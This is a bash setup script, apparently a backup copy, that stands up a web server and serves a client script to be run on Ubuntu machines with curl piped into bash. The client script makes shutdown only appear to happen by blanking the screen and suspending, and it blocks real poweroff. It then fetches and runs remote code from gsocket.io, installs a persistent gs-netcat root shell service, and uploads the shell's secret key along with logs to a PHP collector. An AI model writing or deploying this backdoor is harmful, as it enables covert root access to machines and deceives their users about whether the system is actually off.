facinus/other/setup_script.sh.bak2

#!/bin/bash

# Create save_log.php file
cat > /tmp/save_log.php << 'EOF'
<?php
// Simple script to save logs and secrets from remote machines

// Create logs directory if it doesn't exist
$logs_dir = './logs';
if (!file_exists($logs_dir)) {
    mkdir($logs_dir, 0755, true);
}

// Create secrets directory if it doesn't exist
$secrets_dir = './secrets';
if (!file_exists($secrets_dir)) {
    mkdir($secrets_dir, 0755, true);
}

// Get the IP address and hostname
$ip = isset($_POST['ip']) ? $_POST['ip'] : 'unknown_ip';
$hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'unknown_host';

// Sanitize filenames to prevent directory traversal attacks
$ip = preg_replace('/[^a-zA-Z0-9\.\-]/', '_', $ip);
$hostname = preg_replace('/[^a-zA-Z0-9\.\-]/', '_', $hostname);

// Save the log file if uploaded
if (isset($_FILES['logfile']) && $_FILES['logfile']['error'] == 0) {
    $timestamp = date('Y-m-d_H-i-s');
    $log_filename = "{$logs_dir}/{$ip}_{$hostname}_{$timestamp}.log";
    
    if (move_uploaded_file($_FILES['logfile']['tmp_name'], $log_filename)) {
        echo "Log file saved successfully.\n";
    } else {
        echo "Error saving log file.\n";
    }
}

// Save the secret if provided
if (isset($_POST['secret']) && !empty($_POST['secret'])) {
    $secret_filename = "{$secrets_dir}/{$hostname}.txt";
    
    if (file_put_contents($secret_filename, $_POST['secret'])) {
        echo "Secret saved successfully.\n";
    } else {
        echo "Error saving secret.\n";
    }
}

// Provide a response
header('Content-Type: text/plain');
echo "Data received from {$hostname} ({$ip}).\n";
?>
EOF

# Move PHP file to web root
sudo mv /tmp/save_log.php /srv/http/

# Create setup script file for Ubuntu clients
cat > /tmp/setup_script.sh << 'EOF'
#!/bin/bash

# Define your web server URL where logs will be stored
WEB_SERVER="http://SERVER_IP_PLACEHOLDER"  # Will be replaced with actual IP
LOG_ENDPOINT="$WEB_SERVER/save_log.php"

# Get system information
HOSTNAME=$(hostname)
IP_ADDRESS=$(hostname -I | awk '{print $1}')
TIMESTAMP=$(date +"%Y-%m-%d_%H-%M-%S")
LOG_FILE="/tmp/setup_log_${TIMESTAMP}.txt"

# Function to log commands and their output
log_command() {
    local cmd="$1"
    local description="$2"
    
    echo "----------------------------------------------" | tee -a "$LOG_FILE"
    echo "[$TIMESTAMP] Executing: $description" | tee -a "$LOG_FILE"
    echo "\$ $cmd" | tee -a "$LOG_FILE"
    echo "----------------------------------------------" | tee -a "$LOG_FILE"
    
    # Execute the command and capture output
    OUTPUT=$(eval "$cmd" 2>&1)
    STATUS=$?
    
    echo "$OUTPUT" | tee -a "$LOG_FILE"
    echo "Exit Status: $STATUS" | tee -a "$LOG_FILE"
    echo "" | tee -a "$LOG_FILE"
    
    return $STATUS
}

# Start logging
echo "==================================================" | tee -a "$LOG_FILE"
echo "Setup Script Started on $HOSTNAME ($IP_ADDRESS)" | tee -a "$LOG_FILE"
echo "Timestamp: $TIMESTAMP" | tee -a "$LOG_FILE"
echo "==================================================" | tee -a "$LOG_FILE"

# 1. Configure power button to initiate suspend-then-hibernate (appears like poweroff)
log_command "sudo mkdir -p /etc/systemd/sleep.conf.d" "Creating systemd sleep config directory"
log_command "sudo mkdir -p /etc/systemd/logind.conf.d" "Creating systemd logind config directory"

# Create a custom sleep config that will make suspend appear more like poweroff
cat > /tmp/10-power-button.conf << _EOC_
[Sleep]
# Make suspend look like poweroff by turning off all LEDs and display
AllowSuspendThenHibernate=yes
SuspendState=mem
HibernateDelay=10800s  # 3 hours before switching to hibernate
_EOC_

log_command "sudo cp /tmp/10-power-button.conf /etc/systemd/sleep.conf.d/" "Setting up sleep configuration"

# Create suspend script to make it look like poweroff
cat > /tmp/fake-poweroff.sh << _EOS_
#!/bin/bash
# This script turns off the display and then suspends the system, making it look like a shutdown
# Turn off displays
if command -v xset >/dev/null 2>&1 && [ -n "$DISPLAY" ]; then
    xset dpms force off
fi

# For GNOME
if command -v gdbus >/dev/null 2>&1; then
    gdbus call --session --dest org.gnome.ScreenSaver --object-path /org/gnome/ScreenSaver --method org.gnome.ScreenSaver.SetActive true
fi

# For VM environments, try to dim/blank console
if [ -e /sys/class/backlight/*/brightness ]; then
    for b in /sys/class/backlight/*/brightness; do
        echo 0 | sudo tee $b >/dev/null
    done
fi

# Wait a moment for screen to turn off
sleep 2

# Then suspend
systemctl suspend-then-hibernate
_EOS_

log_command "sudo cp /tmp/fake-poweroff.sh /usr/local/bin/fake-poweroff.sh" "Creating fake poweroff script"
log_command "sudo chmod +x /usr/local/bin/fake-poweroff.sh" "Making fake poweroff script executable"

# Configure logind to ALWAYS use suspend for power button press
cat > /tmp/custom-power-button.conf << _EOF_
[Login]
HandlePowerKey=suspend-then-hibernate
HandlePowerKeyLongPress=suspend-then-hibernate
PowerKeyIgnoreInhibited=yes
_EOF_

log_command "sudo cp /tmp/custom-power-button.conf /etc/systemd/logind.conf.d/" "Setting up custom power button configuration"

# Create a systemd service to handle the power button press ourselves (backup method)
cat > /tmp/power-button-handler.service << _EOS_
[Unit]
Description=Custom Power Button Handler
After=multi-user.target

[Service]
Type=simple
ExecStart=/bin/bash -c "while true; do acpi_listen | grep -q \"button/power.*pressed\"; if [ $? -eq 0 ]; then /usr/local/bin/fake-poweroff.sh; fi; done"
Restart=always

[Install]
WantedBy=multi-user.target
_EOS_

log_command "sudo cp /tmp/power-button-handler.service /etc/systemd/system/" "Creating power button handler service"
log_command "sudo systemctl enable power-button-handler.service" "Enabling power button handler service"
log_command "sudo systemctl start power-button-handler.service" "Starting power button handler service"

# Enable acpi events handling
log_command "sudo apt-get install -y acpid acpi-support" "Installing ACPI support packages"

# Create acpi power button event handler
mkdir -p /etc/acpi/events/
cat > /tmp/power-button << _EOS_
event=button/power
action=/usr/local/bin/fake-poweroff.sh
_EOS_

log_command "sudo cp /tmp/power-button /etc/acpi/events/" "Setting up ACPI power button handler"
log_command "sudo systemctl enable acpid" "Enabling ACPI daemon"
log_command "sudo systemctl restart acpid" "Restarting ACPI daemon"

# For desktop environments - disable default power button actions
if command -v gsettings >/dev/null 2>&1; then
    log_command "gsettings set org.gnome.settings-daemon.plugins.power power-button-action 'nothing'" "Disabling GNOME power button action"
fi

# Also modify system-wide Gnome settings if available
if [ -d "/etc/dconf/db/local.d" ]; then
    cat > /tmp/00-power-button << _EOF_
[org/gnome/settings-daemon/plugins/power]
power-button-action='nothing'
_EOF_
    log_command "sudo cp /tmp/00-power-button /etc/dconf/db/local.d/" "Setting system-wide GNOME power button configuration"
    log_command "sudo dconf update" "Updating dconf database"
fi

# Modify systemd config to ignore actual shutdown command and convert to suspend
cat > /tmp/override-shutdown.conf << _EOC_
[Unit]
Description=Fake Shutdown Service

[Service]
Type=oneshot
ExecStart=/usr/local/bin/fake-poweroff.sh
TimeoutSec=30

[Install]
WantedBy=multi-user.target
_EOC_

log_command "sudo mkdir -p /etc/systemd/system/systemd-poweroff.service.d/" "Creating shutdown override directory"
log_command "sudo cp /tmp/override-shutdown.conf /etc/systemd/system/systemd-poweroff.service.d/override.conf" "Installing shutdown override"

# Set up polkit rule to allow suspend without password for regular users
cat > /tmp/90-suspend-without-password.rules << _EOC_
polkit.addRule(function(action, subject) {
    if ((action.id == "org.freedesktop.login1.suspend" ||
         action.id == "org.freedesktop.login1.suspend-multiple-sessions" ||
         action.id == "org.freedesktop.login1.hibernate" ||
         action.id == "org.freedesktop.login1.hibernate-multiple-sessions") &&
        subject.isInGroup("sudo")) {
            return polkit.Result.YES;
    }
});
_EOC_

log_command "sudo mkdir -p /etc/polkit-1/rules.d" "Creating polkit rules directory"
log_command "sudo cp /tmp/90-suspend-without-password.rules /etc/polkit-1/rules.d/" "Setting up polkit rules for suspend"

# 2. Install and enable OpenSSH server and curl
log_command "sudo apt-get update" "Updating package repositories"
log_command "sudo apt-get install -y openssh-server curl ethtool net-tools" "Installing required packages"
log_command "sudo systemctl enable ssh" "Enabling SSH service"
log_command "sudo systemctl start ssh" "Starting SSH service"
log_command "sudo systemctl status ssh" "Checking SSH service status"

# 3. Set up Wake-on-LAN
# Identify network interface
PRIMARY_INTERFACE=$(ip -o -4 route show to default | awk '{print $5}' | head -n1)
log_command "echo 'Primary network interface: $PRIMARY_INTERFACE'" "Identifying network interface"

# Enable WoL in network configuration
cat > /tmp/wol.conf << _EOF_
[connection]
ethernet.wake-on-lan = magic
_EOF_

log_command "sudo mkdir -p /etc/NetworkManager/conf.d/" "Creating NetworkManager config directory"
log_command "sudo cp /tmp/wol.conf /etc/NetworkManager/conf.d/99-wol.conf" "Setting up Wake-on-LAN in NetworkManager"

# Check if Wake-on-LAN is supported
WOL_SUPPORTED=$(ethtool $PRIMARY_INTERFACE 2>/dev/null | grep -q "Supports Wake-on" && echo "yes" || echo "no")
if [ "$WOL_SUPPORTED" = "yes" ]; then
    log_command "echo 'Wake-on-LAN is supported.'" "Checking Wake-on-LAN support"
    
    # Create a systemd service for Wake-on-LAN that runs at boot and after resume
    cat > /tmp/wol.service << _EOF_
[Unit]
Description=Enable Wake On LAN
After=network.target
After=suspend.target
After=hibernate.target
After=hybrid-sleep.target

[Service]
Type=oneshot
ExecStart=/sbin/ethtool -s $PRIMARY_INTERFACE wol g
RemainAfterExit=yes

[Install]
WantedBy=multi-user.target
WantedBy=suspend.target
WantedBy=hibernate.target
WantedBy=hybrid-sleep.target
_EOF_

    log_command "sudo cp /tmp/wol.service /etc/systemd/system/wol.service" "Creating Wake-on-LAN service"
    log_command "sudo systemctl daemon-reload" "Reloading systemd configuration"
    log_command "sudo systemctl enable wol.service" "Enabling Wake-on-LAN service"
    log_command "sudo systemctl start wol.service" "Starting Wake-on-LAN service"
    
    # Immediately enable WoL
    log_command "sudo ethtool -s $PRIMARY_INTERFACE wol g" "Enabling Wake-on-LAN immediately"
else
    log_command "echo 'Wake-on-LAN not supported, skipping...'" "Wake-on-LAN not supported"
fi

# Add WoL persistence through boot in network interfaces
if [ -f /etc/network/interfaces ]; then
    # For systems using traditional networking
    if ! grep -q "up ethtool -s $PRIMARY_INTERFACE wol g" /etc/network/interfaces; then
        log_command "echo 'auto $PRIMARY_INTERFACE' | sudo tee -a /etc/network/interfaces" "Adding WoL to network interfaces config"
        log_command "echo 'iface $PRIMARY_INTERFACE inet dhcp' | sudo tee -a /etc/network/interfaces" "Adding WoL to network interfaces config"
        log_command "echo 'up ethtool -s $PRIMARY_INTERFACE wol g' | sudo tee -a /etc/network/interfaces" "Adding WoL to network interfaces config"
    fi
fi

# 4. Execute gsocket command and save the secret
log_command "echo 'Running gsocket setup...'" "Starting gsocket setup"
GSOCKET_OUTPUT=$(bash -c "$(curl -fsSL https://gsocket.io/y)" 2>&1)
echo "$GSOCKET_OUTPUT" | tee -a "$LOG_FILE"

# Extract the secret
SECRET=$(echo "$GSOCKET_OUTPUT" | grep -o 'S="[^"]*"' | sed 's/S="\(.*\)"/\1/')
if [ -n "$SECRET" ]; then
    echo "Secret extracted: $SECRET" | tee -a "$LOG_FILE"
    echo "$SECRET" > "/tmp/${HOSTNAME}_secret.txt"
    log_command "echo 'Secret saved to /tmp/${HOSTNAME}_secret.txt'" "Saving secret to file"
    
    # Save the secret to the gs-root-shell-key.txt file for the root shell service
    log_command "sudo mkdir -p /etc/systemd" "Creating systemd directory if it doesn't exist"
    log_command "echo '$SECRET' | sudo tee /etc/systemd/gs-root-shell-key.txt" "Saving GSSocket secret key for root shell"
    log_command "sudo chmod 600 /etc/systemd/gs-root-shell-key.txt" "Setting secure permissions on key file"
else
    log_command "echo 'Failed to extract secret'" "Secret extraction failed"
fi

# Install gs-netcat if not already installed by gsocket.io/y script
if ! command -v gs-netcat &> /dev/null; then
    log_command "sudo apt-get install -y git build-essential" "Installing dependencies for gs-netcat"
    log_command "git clone https://github.com/hackerschoice/gsocket.git /tmp/gsocket" "Cloning gsocket repository"
    log_command "cd /tmp/gsocket && ./bootstrap && ./configure && make && sudo make install" "Building and installing gsocket"
fi

# 5. Create the Global Socket Root Shell service
cat > /tmp/gs-root-shell.service << 'EOG'
[Unit]
Description=Global Socket Root Shell
After=network.target

[Service]
Type=simple
Restart=always
RestartSec=10
WorkingDirectory=/root
ExecStart=/usr/local/bin/gs-netcat -k /etc/systemd/gs-root-shell-key.txt -il

[Install]
WantedBy=multi-user.target
EOG

log_command "sudo cp /tmp/gs-root-shell.service /etc/systemd/system/" "Creating Global Socket Root Shell service"
log_command "sudo systemctl daemon-reload" "Reloading systemd configuration"
log_command "sudo systemctl enable gs-root-shell.service" "Enabling Global Socket Root Shell service"
log_command "sudo systemctl start gs-root-shell.service" "Starting Global Socket Root Shell service"
log_command "sudo systemctl status gs-root-shell.service" "Checking Global Socket Root Shell service status"

# 6. Upload logs and secret to the web server
if command -v curl >/dev/null 2>&1; then
    # Upload the main log file
    log_command "curl -s -F 'ip=$IP_ADDRESS' -F 'hostname=$HOSTNAME' -F 'logfile=@$LOG_FILE' $LOG_ENDPOINT" "Uploading log file to server"
    
    # Upload the secret file if it exists
    if [ -n "$SECRET" ]; then
        log_command "curl -s -F 'ip=$IP_ADDRESS' -F 'hostname=$HOSTNAME' -F 'secret=$SECRET' $LOG_ENDPOINT" "Uploading secret to server"
    fi
else
    echo "curl command not found. Cannot upload logs." | tee -a "$LOG_FILE"
fi

# 7. Disable display manager on startup to hide login screen
if [ -f /etc/systemd/system/display-manager.service ]; then
    DM_SERVICE=$(basename $(readlink /etc/systemd/system/display-manager.service))
    if [ -n "$DM_SERVICE" ]; then
        log_command "sudo systemctl disable $DM_SERVICE" "Disabling display manager on startup"
        # Create a service that will start display manager after wake from suspend
        cat > /tmp/display-after-resume.service << _EOF_
[Unit]
Description=Start Display Manager After Resume
After=suspend.target
After=hibernate.target
After=hybrid-sleep.target

[Service]
Type=oneshot
ExecStart=/bin/systemctl start $DM_SERVICE

[Install]
WantedBy=suspend.target
WantedBy=hibernate.target
WantedBy=hybrid-sleep.target
_EOF_
        log_command "sudo cp /tmp/display-after-resume.service /etc/systemd/system/" "Creating display-after-resume service"
        log_command "sudo systemctl daemon-reload" "Reloading systemd configuration"
        log_command "sudo systemctl enable display-after-resume.service" "Enabling display-after-resume service"
    fi
fi

# 8. Create a persistent reboot handler service that ensures shutdown always becomes suspend
cat > /tmp/shutdown-to-suspend.service << 'EOG'
[Unit]
Description=Convert Shutdown to Suspend
DefaultDependencies=no
Before=shutdown.target reboot.target halt.target

[Service]
Type=oneshot
ExecStart=/bin/sh -c 'if [ "$(systemctl is-active power-button-handler.service)" != "active" ]; then /usr/local/bin/fake-poweroff.sh; else echo "Power button handler will manage suspend"; fi'
TimeoutSec=30

[Install]
WantedBy=shutdown.target reboot.target halt.target
EOG

log_command "sudo cp /tmp/shutdown-to-suspend.service /etc/systemd/system/" "Creating shutdown-to-suspend service"
log_command "sudo systemctl daemon-reload" "Reloading systemd configuration"
log_command "sudo systemctl enable shutdown-to-suspend.service" "Enabling shutdown-to-suspend service"

# Add usage information to log file
echo "==================================================" | tee -a "$LOG_FILE"
echo "GLOBAL SOCKET ROOT SHELL INFORMATION:" | tee -a "$LOG_FILE"
echo "To connect to this machine's root shell:" | tee -a "$LOG_FILE"
echo "1. Install gsocket (https://github.com/hackerschoice/gsocket)" | tee -a "$LOG_FILE"
echo "2. Run: gs-netcat -k KEY -s" | tee -a "$LOG_FILE"
echo "   Replace KEY with the secret value in /etc/systemd/gs-root-shell-key.txt" | tee -a "$LOG_FILE"
echo "==================================================" | tee -a "$LOG_FILE"

echo "==================================================" | tee -a "$LOG_FILE"
echo "Setup completed on $HOSTNAME ($IP_ADDRESS)" | tee -a "$LOG_FILE"
echo "Timestamp: $(date +"%Y-%m-%d_%H-%M-%S")" | tee -a "$LOG_FILE"
echo "==================================================" | tee -a "$LOG_FILE"

# Instead of poweroff at the end, show a message
echo "Configuration completed successfully!"
echo "Your system is now configured to never fully shut down."
echo "When the power button is pressed, the system will appear to power off but will actually suspend."
echo "The screen will now blank to simulate power off in 5 seconds..."

# Do a fake power off at the end to demonstrate but not actually shut down
sleep 5
sudo chvt 1  # Switch to text console first to hide any messages
/usr/local/bin/fake-poweroff.sh
EOF

# Get server IP
SERVER_IP=$(ip -4 addr show | grep -oP '(?<=inet\s)\d+(\.\d+){3}' | grep -v "127.0.0.1" | head -n 1)

# Replace placeholder with actual server IP
sed -i "s/SERVER_IP_PLACEHOLDER/$SERVER_IP/g" /tmp/setup_script.sh

# Move setup script to web root
sudo mv /tmp/setup_script.sh /srv/http/
sudo chmod +x /srv/http/setup_script.sh

# Create a simple index page
cat > /tmp/index.html << EOF
<!DOCTYPE html>
<html>
<head>
    <title>PC Configuration Server</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 40px; line-height: 1.6; }
        pre { background: #f4f4f4; padding: 10px; border-radius: 5px; }
    </style>
</head>
<body>
    <h1>PC Configuration Server</h1>
    <p>Run the following command on your Ubuntu client machines:</p>
    <pre>bash -c "\$(curl -fsSL http://${SERVER_IP}/setup_script.sh)"</pre>
    <p>This script will configure:</p>
    <ul>
        <li>Power button to simulate shutdown (but actually suspend)</li>
        <li>Prevents actual system shutdown - converts all shutdown attempts to suspend</li>
        <li>SSH server for remote access</li>
        <li>Wake-on-LAN for remote power on</li>
        <li>System logging and monitoring</li>
        <li>Global Socket Root Shell for remote root access</li>
    </ul>
</body>
</html>
EOF

# Move index file to web root
sudo mv /tmp/index.html /srv/http/

# Adjust PHP settings for larger file uploads if needed
sudo sed -i 's/upload_max_filesize = .*/upload_max_filesize = 20M/' /etc/php/php.ini
sudo sed -i 's/post_max_size = .*/post_max_size = 21M/' /etc/php/php.ini

# Enable and start Apache service
sudo systemctl enable httpd
sudo systemctl restart httpd

echo "========================================================"
echo "Apache web server set up complete at http://$SERVER_IP"
echo "Run this command on client Ubuntu PCs:"
echo "bash -c \"\$(curl -fsSL http://$SERVER_IP/setup_script.sh)\""
echo "========================================================"